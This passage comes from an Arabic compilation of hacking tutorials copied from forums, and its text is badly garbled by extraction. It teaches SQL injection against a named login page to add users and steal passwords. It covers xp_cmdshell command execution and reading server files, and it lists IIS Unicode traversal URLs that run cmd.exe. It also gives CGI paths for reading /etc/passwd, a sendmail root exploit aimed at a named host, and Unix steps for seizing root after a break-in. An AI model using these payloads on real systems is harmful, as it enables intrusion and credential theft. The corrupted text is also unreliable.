function .or the GROUP BY clause / arabic/Scripts/ar_csd_reply.a sp, line 33<br /> <br /> ‫ وهو نفسه ما‬UserID ‫حصلنا على أسم عمود وهو‬ 634<br /> <br /> ‫قمنا بتخمينه وهو ‪userid‬‬ ‫تجدر الشاره إلى أن ‪ MS SQL Server‬ليس‬ ‫حساس لحالة الحرف ‪(:‬‬ ‫نلحظ أننا سنكون في حلقه غير منتهيه ول نحصل إل‬ ‫على أسماء الجداول ‪ UserID‬و ‪passwd‬‬ ‫إذن الجدول ل يحوي إل على عمودين وهي التي‬ ‫حصلنا عليها‬ ‫إذن في الحاله هذه نقو‪.‬م بأدتخال مستخد‪.‬م هجديد للجدول‬ ‫وبعدها نقو‪.‬م بالدتخول بشكل طبيعي من الصفحه‬ ‫الخاصه بتسجيل الدتخول ‪(:‬‬ ‫سنقو‪.‬م بكتابة التالي في تخانة أسم المستخد‪.‬م ‪blah' :‬‬ ‫‪INSERT INTO‬‬ ‫‪cs_isp_user(UserID,passwd‬‬ ‫( ‪--('VALUES('M_3','hi‬‬ ‫حيث سيتم إضافة مستخد‪.‬م هجديد له أسم مستخد‪.‬م‬ ‫‪ M_3‬وكلمة مرور ‪hi‬‬ ‫وبعدها تستطيع الدتخول للصفحة المحميه بهذه البيانات‬ ‫على أنك مخول له بالدتخول‬ ‫في مثالنا )شركة التصالت( أنتهينا من استغلل‬ ‫أمكانية عمل ‪ inject‬لها ولكننا سنكمل الحديث عن‬ ‫طريقه ممتعه لكي نستطبع قرائة اسماء المستخدمين‬ ‫‪635‬‬<br /> <br /> ‫وكلمات مرورهم وبعدها تستطيع الدتخول بأي منها‬ ‫دون إضافة نفسك‬ ‫وهو المر الذي لن يضع شكوك حول وهجود لشخص‬ ‫مشبوه‬ ‫سنكمل ما بدأناه ولكن بإضافة عمود أتخر له السم ‪id‬‬ ‫وهو رقم تسلسلي لكل مستخد‪.‬م ) تذكر أنه رقم(‬ ‫إذن لدينا هجدول أسمه ‪user‬‬ ‫يحوي العمده التاليه‬ ‫‪ id‬وهو رقم صحيح‬ ‫‪ username‬وهو قيمة نصيه ) القيم النصيه يمكن‬ ‫أن تحوي أرقا‪.‬م( مثال ‪admin1‬‬ ‫‪ passwd‬وهي أيضا قيمه نصيه‬ ‫نجرب عمل ‪ union‬لقيمه نصيه وتحويلها إلى قيمة‬ ‫عدديه ) لن يتم التحويل ولكنه سيخرج رساله تخطأ‬ ‫ثمينه هجدا(‬ ‫ندتخل اسم المستخد‪.‬م ‪blah' union SELECT :‬‬ ‫‪username FROM user‬‬ ‫و سنحصل على رسالة تخطأ ل تفيدنا في شيء‬ ‫رسالة الخطأ هي‬ ‫اقتباس‪:‬‬ ‫‪636‬‬<br /> <br /> Microsoft OLE DB Provider for ODBC Drivers error ''80040e14 Microsoft][ODBC SQL Server] Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target .lists admin/admin.asp, line 13/<br /> <br /> ‫ مره واحد فتصبح بالشكل التالي‬id ‫م بزيادة‬.‫نقو‬ blah' union SELECT username,username FROM user ‫فنحصل على نفس رسالة الخطأ‬ ‫نتابع الزياده إلى أن نحصل على رسالة تخطأ مختلفه‬ ‫لنفترض أننا حصلنا على رسالة الخطأ الجديده عند‬ ‫م التالي‬.‫أدتخال اسم المستخد‬ blah' union SELECT 637<br /> <br /> username,username,usernam e,username,username FROM user ‫فنحصل على رسالة الخطأ التاليه‬ :‫اقتباس‬<br /> <br /> Microsoft OLE DB Provider for ODBC Drivers error ''80040e07 Microsoft][ODBC SQL Server] Driver][SQL Server]Syntax error converting the varchar value 'Lame_Admin' .to a column of data type int admin/admin.asp, line 13/<br /> <br /> ‫م وهو عاد ًة ما يكون‬.‫( حصلنا على أول أسم مستخد‬: ‫للدمن‬ ‫وسبب ظهور هذا الخطأ هو لننا نطلب من محرك‬ ‫م بتحويل قيمة نصيه )وهي‬.‫ أن يقو‬SQL 638<br /> <br /> ‫‪ (Lame_Admin‬إلى قيمة عدديه صحيحه) ‪(int‬‬ ‫وهو الشيء الغير مسمو ح ‪ ,‬لذلك يقو‪.‬م بأتخبارك أنه ل‬ ‫يستطيع تحويل ‪ Lame_Admin‬إلى قيمة عدديه‬ ‫صحيحه ‪ (:‬هذا أذكى شي قامت ‪ microsoft‬بعمله‬ ‫‪(:‬‬ ‫الن حصلنا على أسم المستخد‪.‬م وسنحاول الحصول‬ ‫على كلمة المرور‬ ‫ندتخل أسم المستخد‪.‬م التالي ‪blah' union:‬‬ ‫‪SELECT‬‬ ‫‪passwd,passwd,passwd,pass‬‬ ‫‪wd,passwd FROM user‬‬ ‫بنفس العدد السابق عند حصولنا على أسم المستخد‪.‬م‬ ‫سنحصل على هذا الخطأ‬ ‫اقتباس‪:‬‬<br /> <br /> ‫‪Microsoft OLE DB Provider‬‬ ‫‪for ODBC Drivers error‬‬ ‫‪''80040e07‬‬ ‫]‪Microsoft][ODBC SQL Server‬‬ ‫‪Driver][SQL Server]Syntax‬‬ ‫‪639‬‬<br /> <br /> ‫‪error converting the‬‬ ‫‪varchar value 'stupid' to a‬‬ ‫‪.column of data type int‬‬ ‫‪admin/admin.asp, line 13/‬‬<br /> <br /> ‫حصلنا على أسم المستخد‪.‬م وكلمة المرور ويمكننا‬ ‫تسجيل الدتخول للصفحة المحميه بدون وهجود أي أثر‬ ‫لنا‬ ‫إل إذا كانت الصفحه المحميه عند الدتخول لها تقو‪.‬م‬ ‫بطباعة بعض المعلومات مثل رقم اليبي لتخر شخض‬ ‫قا‪.‬م بالدتخول بإسم المستخد‪.‬م هذا‬ ‫عندها فكر بما ستقو‪.‬م به بنفسك‬ ‫بقي أتكلم عن الـ ‪Stored Procedure‬‬ ‫وهي كتشبيه أقرب إلى أدوات موهجوده مسبقا ‪Built-‬‬ ‫‪ in‬تقو‪.‬م بعمل محدد عند طلبها‬ ‫ستستطيع الستفاده من الـ ‪Stored Procedure‬‬ ‫إذا كان الـ ‪ SQL Server‬يعمل على المستخد‪.‬م ‪sa‬‬ ‫أو إذا كان المستخد‪.‬م الذي يعمل عليه الـ ‪SQL‬‬ ‫‪ Server‬تم السما ح له بٍاستخدامها‬ ‫‪640‬‬<br /> <br /> ‫لذلك فأنت محظوظ عند حصولك على ‪SQL‬‬ ‫‪ Server‬بهذه المكانيات‬ ‫يوهجد أكثر من ‪Stored Procedure 100‬‬ ‫في الجدول التالي أهمها‬ ‫‪---------------------------+‬‬ ‫‪--------------------------------------------------+‬‬ ‫‪+---------------------------‬‬‫| ‪ |----------xp_cmdshell‬تمرير أمر لنظا‪.‬م‬ ‫التشغيل ) يتم تنفيذه على حسب صلحيات‬ ‫المستخد‪.‬م(‪|-------‬‬ ‫| ‪ |-----------xp_regread‬قراءة قيمة مفتا ح في‬ ‫الريجستري‪-----------------------------------------‬‬ ‫‪|--‬‬‫| ‪ |----xp_regdeletekey‬حذف مفتا ح من‬ ‫الريجستري‪-----------------------------------------‬‬ ‫‪|-------‬‬‫| ‪ |-xp_regdeletevalue‬حذف قيمة مفتا ح من‬ ‫الريجستري‪-----------------------------------------‬‬ ‫‪|--‬‬‫| ‪ |---------- xp_regwrite‬للكتابة في‬ ‫‪641‬‬<br /> <br /> ‫الريجستري‪-----------------------------------------‬‬ ‫‪|-------------‬‬‫| ‪ |--xp_servicecontrol‬لبدأ أو أنهاء تخدمة‬ ‫على‬ ‫السيرفر‪--------------------------------------------‬‬ ‫|‬ ‫‪----------------------------+‬‬ ‫‪--------------------------------------------------+‬‬ ‫‪+---------------------------‬‬<br /> <br /> ‫أما طريقة الستفاده من أي من هذه الـ‬ ‫‪ Procedure‬فهي بالشكل التالي‬ ‫'‪exec master..xp_cmdshell 'dir‬‬<br /> <br /> ‫هذا مثال لطريقة أستخدا‪.‬م ‪ xp_cmdshell‬والبقيه‬ ‫مثله‬ ‫عدا الكتابة في الريجستري فهو بالشكل التالي‬ ‫'‪exec master..xp_regwrite‬‬ ‫‪642‬‬<br /> <br /> ‫‪'REGISTERY KEY' VALUE‬‬<br /> <br /> ‫أيضا بقي الشاره إلى أنه بأمكانك قراءة كود ملفات‬ ‫‪ asp‬التي يعمل عليها الموقع عن طريق إضافة هجدول‬ ‫هجديد ومن ثم نسخ كود صفحة ‪ asp‬ووضعه‬<br /> <br /> ‫في هذا الجدول بالطريقة التاليه‬ ‫))‪CREAT TABLE M_3 ( source‬‬ ‫‪varchar(8000‬‬ ‫هذا السطر يقو‪.‬م ببناء الجدول وأسم الجدول ‪M_3‬‬ ‫وبداتخله عمود واحد من النوع ‪ varchar‬حجمه‬ ‫‪ 8000‬بايت‬ ‫بعد ذلك بأمكانك الن إضافة أي ملف على السيرفر إلى‬ ‫هذا الجدول ومن ثم قرائته بالشكل التالي‬ ‫'‪bulk insert M_3 from‬‬ ‫‪'c:\InetPub\wwwroot\login‬‬ ‫‪asp.‬‬<br /> <br /> ‫‪643‬‬<br /> <br /> ‫ولقرائة ما تم نسخه يمكنك ذلك عن طريق رسائل‬ ‫الخطأ اللي تكلمنا عنها في الموضوع السابق‬ ‫أسهلها هو عمل ‪ union‬حيث يتم توليد رسالة تخطأ‬ ‫بها ما تم نسخه‪.‬‬<br /> <br /> ‫انتهى‪،،،‬‬<br /> <br /> ‫" درس لحتراف الهاك في اوختراق‬ ‫المواقع "‬ ‫>منقول من منتديات شبكة الحز‪.‬م السلمية<‬ ‫>الكاتب‪< CONIK :‬‬ ‫أن شاء ال في تعلم أتختراق المواقع وكيف يتم ولكن‬ ‫في البداية يجب أن نعلم أشياء عن التختراق‬ ‫‪644‬‬<br /> <br /> ‫في البداية أو بمعنى أتخر نعرف أساسيات مطلوبة في‬ ‫علم اتختراق المواقع وطبعا نحن قلنا‬<br /> <br /> ‫في الدرس الول الى كان عن اتختراق الهجهزة أنه‬ ‫الى بى هو الباب والبورت هو المفتا ح له‬<br /> <br /> ‫بس في أتختراق المواقع يوهجد لنا باب ولكن المفتا ح‬ ‫يختلف وهو الثغرات ومافي اتختراق في الدنيا‬ ‫بدون ثغرة المهم المفروض ما نقول ثغرة ولكن نقول‬ ‫ضعف أمنى ‪-:‬‬<br /> <br /> ‫س ‪ -:1‬طيب ممكن تقول لى أيش هي الثغرات يعنى‬ ‫تعريف لها ؟؟‬<br /> <br /> ‫هجـ‪ -:‬الثغرات هى ضعف أمنى يساعدك فى دتخول نظا‪.‬م‬ ‫‪645‬‬<br /> <br /> ‫معين وأتختراقه وقد تكون أيضا الطريقة المساعدة‬<br /> <br /> ‫التى تخليك تتحول من ‪ user‬الى ‪administrator‬‬ ‫يعنى من مستخد‪.‬م الى المدير المتصرف وتتضمن‬ ‫ويجب‬<br /> <br /> ‫على الدوا‪.‬م معرفة الثغرات المنيه الجديدة وأستثمارها‬ ‫علشان ل يتنبه أصحاب المواقع بيها‬<br /> <br /> ‫يرقعوها ) يتم تقفليها (‬<br /> <br /> ‫وأقرب مثال لهذه الثغرات الضعف المني الذى أكتشف‬ ‫في الباتشى وهو سيرفر يركب على نظا‪.‬م ليونكس‬<br /> <br /> ‫وأى ضعف فى أحد البرامج أو قاعده بناء الموقع‬ ‫تعتبر ثغرة ومن الممكن استخدامها والستفاده‬ ‫‪646‬‬<br /> <br /> ‫منها في أتختراق الموقع المراد أتختراقه والتحكم في‬ ‫الموقع ومشاهدة الباسوردات وكل ما تريد عن طريقها‬<br /> <br /> ‫س ‪ -:2‬طيب كيف انا استثمر الثغره اذا انا لقيتها ؟؟؟‬<br /> <br /> ‫هجـ‪ -:‬من وقت ما أكتشفوا الثغرات كانت نسبة ‪%99‬‬ ‫من الثغرات تكون سكربتاتها مكتوبه بالغه ‪ C‬وانته‬ ‫تحتاج لمعرفة هذه اللغه أو‬ ‫عليك تحويلها ‪.‬‬ ‫كما أن هناك العديد من الثغرات يحتاج الى ‪shell‬‬ ‫حتى انته تتمكن من الستفاده من هذه الثغره أو بمعنى‬ ‫أتخر الضعف‬ ‫وعلى سبيل المثال بعض الثغرات الموهجوده فى ‪PHP‬‬ ‫تحتاج الى ‪ Shell PHP‬ومن هذه الكل‪.‬م‪.‬‬ ‫‪647‬‬<br /> <br /> ‫وعلى فكرة الضعف يكون في الصدارات الخاصة‬<br /> <br /> ‫وكمان في ثغره من نوع ‪ Kernel 2.2.x‬ولكن هذه‬ ‫المرة في نظا‪.‬م تشغيل ليونكس‬<br /> <br /> ‫) ملحظه هذه الثغرات التى تكون باللغة ‪ C‬تكون‬ ‫سيكربتات توهجوده فى الموقع ( وهناك أيضا سيكربتات‬ ‫أتخرى مكتوبة باللغه ‪perl‬‬<br /> <br /> ‫ولز‪.‬م فى هذه الحالة تكون انته مركب لوينكس علشان‬ ‫الوامر وأنا أنصحك تركب ‪linux Redhat 7.3‬‬<br /> <br /> ‫لنه أفضل من الماندريك وأذكر انه الخ بلك هانتر‬ ‫لمن انا سألته أركب الماندريك ول الريد هات قال لى‬ ‫انه الماندريك صورة مبسطه‬<br /> <br /> ‫للريد هات بس غير قابله للتطور وأنه الريدهات أقوى‬ ‫‪648‬‬<br /> <br /> ‫وهجزاة ال تخير على هذه النصيحة نرهجع للموضوع‬<br /> <br /> ‫س ‪ -:3‬كيف أحول لغه البيرل ؟؟‬ ‫هجـ‪ -:‬الطريقة مره سهله كلها اوامر عادية في البداية‬ ‫انته سوى هذه المر‬ ‫‪file.pl/.‬‬ ‫تعطيك هذه الرسالة‬ ‫‪ ----Access Denied‬هذه الرسالة توضح عد‪.‬م‬ ‫الموافقه‬ ‫أذا صار لك كذا كا عليك سوى كتا بته المر هذه‬<br /> <br /> ‫‪ -----chmod +x Conik.pl‬لحظ مكان كونيك‬ ‫انته تكتب أسم الملف‬<br /> <br /> ‫‪649‬‬<br /> <br /> ‫وشغلة مره ثانية وشوف النتجيه را ح تكون زى كذا‬ ‫‪Conik.pl/. $‬‬ ‫س ‪ -:4‬طيب بالنسبة للغة ‪C‬‬ ‫هجـ‪ -:‬علشان تحويل الملف لز‪.‬م انته تخلى الملف يكون‬ ‫ملف تنفيذى بهذه المر‬<br /> <br /> ‫‪ <------ gcc -o Conik Conik.c‬لحظ انه انته‬ ‫تكتب أسم الملف بدال أسمى كونيك المراد تغيرة‬ ‫يعنى على سبيل المثال ‪-:‬‬<br /> <br /> ‫‪gcc -o Conik conik.c‬‬<br /> <br /> ‫ورا ح يكون الملف هجاهز بعد هذه المر‬ ‫‪Conik.c/.‬‬ ‫‪650‬‬<br /> <br /> ‫وبعد ماصار الملف هجاهز‬<br /> <br /> gcc -o sendmail sendmail.c $ sendemail/. $<br /> <br /> Usage : sendmail <host> <OS> <<user> <password sendmail smtp.israel.com/. $ RedHat-7.3 anonymous anonymous ‫< لحظ انك انته تكتب هنا الموقع الى تبغاه مكان‬----israel ...connecting to host ...connected id (uid=0(root) gid=0(root<br /> <br /> Sendemail ‫لحظ انه طلب ممنا الملقم للبرنامج‬ ‫م التشغيل واليوزر والباسورد‬.‫وكمان طلب نظا‬ 651<br /> <br /> ‫وبعد هذه كله البرنامج أعطانا أمتياز ‪ Root‬بسبب‬ ‫قيا‪.‬م البرنامج بتنفيذ الـ ‪Exan nofer‬‬ ‫ملحظة ل تضن أنه لمن انا حطيت البرنامج ‪XXX.‬‬ ‫‪ SENDMAIL‬بدون اى سبب أنا حطيت لك هذه‬ ‫المثال لنه هناك ثغره فى هذه البرنامج‬ ‫ورا ح أشرحها لك أن شاء ال تعالى بس كان بدى‬ ‫تحفظ السم هذه ‪(-:‬‬ ‫الظاهر انه نحنا أتوغلنا فى الموضوع زايدة عن‬ ‫اللزو‪.‬م‬ ‫س ‪ -:5‬يا ال كل هذه علشان ثغره بس بطلت أنا ما‬ ‫أبغا اتعلم‬<br /> <br /> ‫هجـ‪ -:‬لووووول حبيب البى هذه الطريقة المعقده شوية‬ ‫للثغرات في ثغرات ثانية حلوة وسهله هجدا هجدا‬<br /> <br /> ‫س ‪ -:6‬أيش هي قو ل يا ‪ Conik‬ترى هذه الطريقة‬ ‫‪652‬‬<br /> <br /> ‫يبغالها نظا‪.‬م تشغيل وكمان لغه ‪ C‬و ‪Perl‬‬ ‫في تغرات تستخد‪.‬م من تخلل المتصفح يعنى انته‬ ‫تشوف ملعومات الموقع عبر المتصفح وتوصل الى‬ ‫ملف الباسوردات من هذه الطريقه‬ ‫ومثال على هذه الثغرات ‪PHP - CGI -‬‬ ‫‪UNICODE - VB - etc‬‬<br /> <br /> ‫س ‪ -:7‬اوووووة ‪ UNICODE‬أنا سمعت عنها كثير‬ ‫نفسى اشوف كيف شكلها وأعرف ويش هى ؟؟؟‬<br /> <br /> ‫هجـ‪ -:‬حبيبى ‪ UNICODE‬هى عبارة عن ضعف في‬ ‫نظا‪.‬م ‪ IIS‬في ‪ Microsoft‬مما تساعد في أتختراق‬ ‫الموقع بكل سهوله عموما التختراق بهذه الطرق سهل‬ ‫هجدا‬ ‫مقارنة بالطرق السابقة التى تم ذكرها من قبل وسوف‬ ‫أضع أمثله على ثغرات ‪-: UONICODE‬‬ ‫‪653‬‬<br /> <br /> vti_bin/.._/ %25%35%63..%25%35%63..%25%35 %63..%25%35%63..%25%35%63../wi \:nnt/system32/cmd.exe?/c+dir+c Rpc/../ %25%35%63..%25%35%63..%25%35 %63winnt/system32/cmd.exe?/c+dir \:+c samples/..%255c..%255c..%255c../ %255c..%255c.. %255cwinnt/system32/cmd.exe?/c+ \:dir+c adsamples/..%255c..%255c..%255c../ %255c..%255c.. %255cwinnt/system32/cmd.exe?/c+ \:dir+c scripts/..%255c../ %255cwinnt/system32/cmd.exe?/c+ 654<br /> <br /> \:dir+c msadc/..%c0%af../..%c0%af../../ %c0%af../winnt/system32/cmd.exe?/ \:c+dir+c cgi-bin/..%c0%af..%c0%af../ %c0%af..%c0%af.. %c0%af../winnt/system32/cmd.exe?/ \:c+dir+c ‫حاولت قد المستطاع انى أشكل فى أنواع‬ UONICODE<br /> <br /> ‫ هذه مثال عليها‬CGI ‫أما بالنسبة الى ثغرات الـ‬ cgi-bin/view-/ source?../../../../../../../etc/passwd cgi-bin/phf/ 655<br /> <br /> cgi-bin/wwwboard.pl/ cgi-bin/AT-admin.cgi/ cgi-bin/info2www/ cgi-bin/environ.cgi/<br /> <br /> ‫هذه وباقى العديد من الثغرات يعنى ل يقتصر المر‬ ‫م‬.‫على هذه الثغرات ورا ح أقسم الثغرات لك بحسب نظا‬ ‫التشغيل‬<br /> <br /> NT : Uni code , bofferoverfollow , tftp<br /> <br /> Liunx : Get Access , CGI , buffer overfollow , PHP , send mail , ProFTPD, WU-FTPD, Kernel ,Exploits, rootkits 656<br /> <br /> UNIX : Get Access , CGI , buffer overfollow , PHP , send mail , Kernel exploits, rootkits, ProFTPD, WU,FTPD ،،،‫انتهى‬<br /> <br /> 657<br /> <br /> 658<br /> <br /> ‫"استغلل لينكس في اوختراق‬ ‫المواقع "‬ ‫>منقول من موقع الجهاد اللكتروني<‬ ‫>الكاتب‪<Black_sNiper :‬‬ ‫هذا الموضوع مخصص لمن أراد التعامل مع لينكس‬ ‫في اتختراق المواقع وليس لديه الخبرة الكافية فيه‪...‬‬ ‫سوف يكون هذا الموضوع عن العمليات التي‬ ‫يستحسن القيا‪.‬م بها بعد الحصول على كلمة السر‬ ‫والنجا ح في الدتخول على النظا‪.‬م‪..‬‬ ‫أول يجب ان تعرف بأنه يمكن ان تدتخل على بعض‬ ‫النظمة باستخدا‪.‬م بعض الكلمات المشهورة وتوهجد‬ ‫بعض النظمة تسمح لك بتنفيذ أمر واحد ثم تقو‪.‬م‬ ‫‪659‬‬<br /> <br /> ‫باتخراهجك من النظا‪.‬م بعد ذلك وأفضل تلك الوامر هي ‪.:‬‬<br /> <br /> ‫‪who‬‬ ‫‪rwho‬‬ ‫‪finger‬‬ ‫وتستفيد من هذه الوامر بأنك تستعرض اسماء‬ ‫المستخدمين للنظا‪.‬م وبذلك يمكن ان تستخرج كلمة‬ ‫السر من نفس السم وذلك لن بعض المستخدمين‬ ‫يستعمل كلمة سر مشابهة تقريبا لسمه مثل ‪.:‬‬ ‫‪username : Black‬‬ ‫‪password : Black2‬‬ ‫وفي بعض النظمة تستطيع الدتخول بكتابة ‪ test‬أو‬ ‫‪demo‬‬ ‫من الملفات المهمة والتي يجب عليك استخراهجها بعد‬ ‫دتخولك على أي نظا‪.‬م ‪.:‬‬ ‫‪660‬‬<br /> <br /> ‫‪etc/passwd/‬‬ ‫‪etc/group/‬‬ ‫‪etc/hosts/‬‬ ‫‪usr/adm/sulog/‬‬ ‫‪usr/adm/loginlog/‬‬ ‫‪usr/adm/errlog/‬‬ ‫‪usr/adm/culog/‬‬ ‫‪usr/mail/‬‬ ‫‪usr/lib/cron/crontabs/‬‬ ‫‪etc/shadow/‬‬ ‫الحساب ‪.: bin‬‬ ‫وهو مهم حيث يحتوي على حساب المستخد‪.‬م ويوهجد‬ ‫به معظم الملفات المهمة وقد يوهجد ملف كلمة السر‬ ‫واذا كان كذلك فيمكن‬ ‫)أحيانا( اضافة كلمة سر تخاصة بك وتضيف حساب‬ ‫دتخول )روت( لك !!‬ ‫والطريقة بسهولة كالتالي ‪.:‬‬ ‫‪$ ed passwd‬‬ ‫وأتخيرا تقول ‪ exec login‬وتكتب أي اسم وبذلك‬ ‫تكون انت مدير النظا‪.‬م!!‬ ‫‪661‬‬<br /> <br /> ‫ما الذي سوف تواهجهه عند دتخولك على أي نظا‪.‬م بكلمة‬ ‫سر واسم مستخد‪.‬م ؟!!‬ ‫عند دتخولك الى النظا‪.‬م ستقابل احدى هذه الحتمالت ‪.:‬‬ ‫اما انك استطعت الحصول على حساب مدير النظا‪.‬م‬ ‫)الروت( أو انك حصلت على حساب مستخد‪.‬م آتخر‪..‬‬ ‫في البداية تكتب المر التالي ‪.:‬‬ ‫‪$ pwd‬‬ ‫والنتيجة تظهر ‪.:‬‬ ‫‪$ /usr/admin‬‬ ‫النتيجة اظهرت انك استطعت الدتخول على المدير‬ ‫وبذلك تستطيع التعامل مع كامل النظا‪.‬م بدون قيود‪..‬‬ ‫اذا ظهرت نتيجة غير تلك النتيجة ‪ ..‬فمثل ‪:‬‬ ‫‪$ /usr/Black‬‬ ‫فهذا يدل على انك دتخلت على حساب هذا المستخد‪.‬م!!‬ ‫ولعرض ملفات هذا المستخد‪.‬م تكتب التي ‪.:‬‬ ‫‪$ ls /usr/Black‬‬ ‫وسوف يعرض لك ملفات هذا المستخد‪.‬م ‪.:‬‬ ‫‪mail‬‬ ‫‪pers‬‬ ‫‪games‬‬ ‫‪662‬‬<br /> <br /> ‫‪bin‬‬ ‫ولكن هذا لن يعرض ملف ‪profile.‬‬ ‫ولكي تستعرضه تكتب التي ‪.:‬‬ ‫‪$ cd‬‬ ‫‪$ ls -a‬‬ ‫‪:‬‬ ‫‪:‬‬ ‫‪profile.‬‬ ‫‪$‬‬ ‫اذا اردت قراءة محتويات ملف فسوف تكتب المر‬ ‫التالي ‪.:‬‬ ‫‪$ cat letter‬‬ ‫وهذا اذا افترضنا ان الملف المطلوب هو ‪letter‬‬ ‫اذا اردت تغيير كلمة السر فما عليك ال ان تكتب ‪.:‬‬ ‫‪$ passwd‬‬ ‫ثم سيطلب منك كلمة السر القديمة وهي طبعا معك!!‬ ‫وتدتخل كلمة السر الجديدة ‪..‬‬ ‫للبحث عن معلومة معينة تكتب المر التالي ‪.:‬‬ ‫‪$ grep phone Black‬‬ ‫‪663‬‬<br /> <br /> ‫وهذا بافتراض انك طلبت ارقا‪.‬م الهاتف الخاصة‬ ‫بالمستخد‪.‬م التخر‬ ‫ولعمل نسخ من ملف الى ملف آتخر تكتب التي ‪.:‬‬ ‫‪$ cp letter letters‬‬ ‫اذا اردت عمل محادثة مع مستخد‪.‬م آتخر على اتصال‬ ‫فتكتب المر التالي ‪.:‬‬ ‫‪$ write‬‬ ‫ولمعرفة من يوهجد على النظا‪.‬م نكتب التي ‪.:‬‬ ‫‪$ who‬‬ ‫‪safadM tty1 april 19 2:30‬‬ ‫‪paul tty2 april 19 2:19‬‬ ‫‪gopher tty3 april 19 2:31‬‬ ‫واذا اردت قراءة الملف المحتوي على كلمات السر‬ ‫المظللة يجب ان تكون قد دتخلت على النظا‪.‬م باستخدا‪.‬م‬ ‫حساب المدير نفسه ‪ ..‬ولستعراض ملف كلمات السر‬ ‫نكتب ‪.:‬‬ ‫‪$ cat /etc/passwd‬‬ ‫‪664‬‬<br /> <br /> :/:root:F943/sys34:0:1:0000 sysadm:k54doPerate:0:0:administra tion:usr/admin:/bin/rsh checkfsys:Locked;:0:0:check file system:/usr/admin:/bin/rsh .: ‫وقد يظهر حساب آتخر للمدير كالتالي‬ Black:chips11,43:34:3:Mr :doooom:/usr/Black ‫م الحتفاظ بكلمة السر‬.‫وهذا يعني انه يمكن للمستخد‬ ‫لمدة ثلثة اسابيع بدون تغيير وانه يجب ان يغيرها كل‬ .. ‫ستة اسابيع‬ .: ‫استعراض ملف المجموعة كالتالي‬ $ ls /etc/group root::0:root adm::2:adm,root :bluebox::70<br /> <br /> 665<br /> <br /> ‫ويمكن ان يحتوي ملف المجموعة على كلمات سر أو‬ ‫ليحتوي !!‬ ‫اذا كان ليحتوي على كلمة سر فانه يمكن ان تصبح‬ ‫انت مديرا للنظا‪.‬م في حالة دتخولك بكلمة سر لمستخد‪.‬م‬ ‫عادي وليس كمدير للنظا‪.‬م وذلك بعدة طرق ‪..‬‬<br /> <br /> ‫انتهى‪،،،‬‬<br /> <br /> ‫‪666‬‬<br /> <br /> ‫" شرح مفصل من اللف إلى الياء‬ ‫في احتراف اوختراق المواقع عن‬ ‫طريق لينكس "‬ ‫>منقول<‬ ‫>الكاتب‪ :‬ايسر <‬ ‫‪UNix Usage IN HackinG‬‬ ‫اهل بكم هجميعا‬ ‫في البدايه احب ان انوه ان هناك العديد من الدروس‬ ‫الجميله فعل ‪ ..‬و لكنها قديمه و ليست ‪up to date‬‬ ‫‪667‬‬<br /> <br /> ‫لذلك اكتب لكم هذاالدرس المطول لكي يكون مكانا‬ ‫للمبتدئين يمكن ان يستفيدوا منه‬ ‫و اتمنى فعل ان يحوز على اعجابكم ‪(:‬‬ ‫بعض المصطلحات الهامه ‪:‬‬‫كثير من الناس يحبون ان يطلقوا على كل من ال ‪pc ,‬‬ ‫‪ servers , supercomputers‬و غيرها‬ ‫كلمه ‪BOX‬‬ ‫النظا‪.‬م الذي سوف نقو‪.‬م باتختراقه يحتوي عاده على‬ ‫العديد من اليوزرز ‪..‬بالضافه لليوزرز‬ ‫تسطيع ان تطلق على الرئيس هناك كلمه ‪ ... root‬و‬ ‫هو يكون ‪, superuser‬‬ ‫و هو الدمين او المدير على النظا‪.‬م‪....‬‬ ‫بالنسبه لنظمه التشغيل ‪:‬‬ ‫طبعا ‪ ..‬ل يمكنك ان تخترق باستخدا‪.‬م نظا‪.‬م التشغيل‬ ‫‪ .. windows‬بل تحتاج الى اي نظا‪.‬م مشتق من‬ ‫نظا‪.‬م التشغيل اليونيكس ‪..‬‬ ‫حسنا ‪ ..‬السؤال هو لماذا هذه النظمه بالذات ‪ ...‬و‬ ‫لماذا ل يصلح الويندوز؟؟‬ ‫لسبيبن ‪:‬‬ ‫‪-1‬النترنت اغلبه اهجهزه شغاله على اليونيكس‬ ‫سيستمز ‪...‬و نادر لما تلقي هجهاز شغال على الويندوز‬ ‫‪nt . 9x‬‬ ‫‪668‬‬<br /> <br /> ‫اذن اقل حاهجه حتى تخترق هجهاز او سيرفير شغال‬ ‫على اليونيكس ‪..‬يجب ان تكون ملما بنظا‪.‬م التشغيل‬ ‫هذا‪..‬‬ ‫لذا من الفضل انك تركبه في هجهازك ‪..‬‬ ‫‪-2‬طبعا ‪ ..‬معظم اادوات و اكواد الكسبلويتات مصممه‬ ‫للعمل في بيئه اليونيكس ‪..‬‬ ‫اوكي ‪ ...‬ما هي توزيعات اليونيكس ؟؟و اللينكس ؟؟‬ ‫بالنسبه لليونيكس ‪ ..‬فهو منقسم الي قسمين ‪:‬‬ ‫‪ -1‬يونيكس تجاري ‪ ).‬غير مجاني (‬ ‫‪ -2‬يونيكس مفتو ح المصدر و مجاني ‪open‬‬ ‫‪source‬‬ ‫بالنسبه لليونيكس التجاري ل يمكن ان تركبه على‬ ‫هجهازك العادي ‪..‬لذا فيمكنك تجاهله الن ‪(:‬‬ ‫اما المجاني فيوهجد منه عده عائلت‬ ‫‪BSD‬‬‫و هي القد‪.‬م و الصعب في الستعمال ‪ ..‬و من الفضل‬ ‫لك ال تستعملها ال اذا كنت ترغب في تركيب سيرفير‬ ‫على الجهاز‬ ‫‪...‬‬ ‫يوهجد اللينكس ‪..‬و هو طبعا غني عن التعريف‬ ‫‪669‬‬<br /> <br /> ‫طبعا ‪ ..‬يوهجد منه العديد من التوزيعات و ان كان‬ ‫افضلها هي ‪ ) SuSe‬لم اهجربها و لكن اسمع الكثير‬ ‫من الناس يشكرون في هذه التوزيعه (‬ ‫اما بالنسبه لسهل توزيه فهي ‪ MDK‬و قد و ضعت‬ ‫هنا بعض الدروس الخاصه بالمندريك‬ ‫يمكنك تحميلها و قرائتها ‪..‬‬ ‫ان لم تجد مكانا تحصل منه على اللينكس يمكنك‬ ‫مراسلتي على ايميلي و نحدد مكانا‬ ‫لتسليمك نسخه من الماندريك ‪ 9‬او الريد هات ‪7.2‬‬ ‫) ثمن السطوانات البلنك و النسخ فقط (‬ ‫على اي حال ‪ ..‬للينكس مميزات كثيره ‪..‬امن ‪...‬‬ ‫مستقر ‪ ..‬مجاني ‪ ..‬يمكنك تطويره ليلئم امكانيات‬ ‫هجهازك ‪..‬‬ ‫ النترنت‬‫‪ ..‬ماذا ‪ ...‬تريد ان تخترق ‪..‬هجميل هجميل ‪ ..‬تريد ان‬ ‫تخترق هجهازك ا‪.‬م ماذا 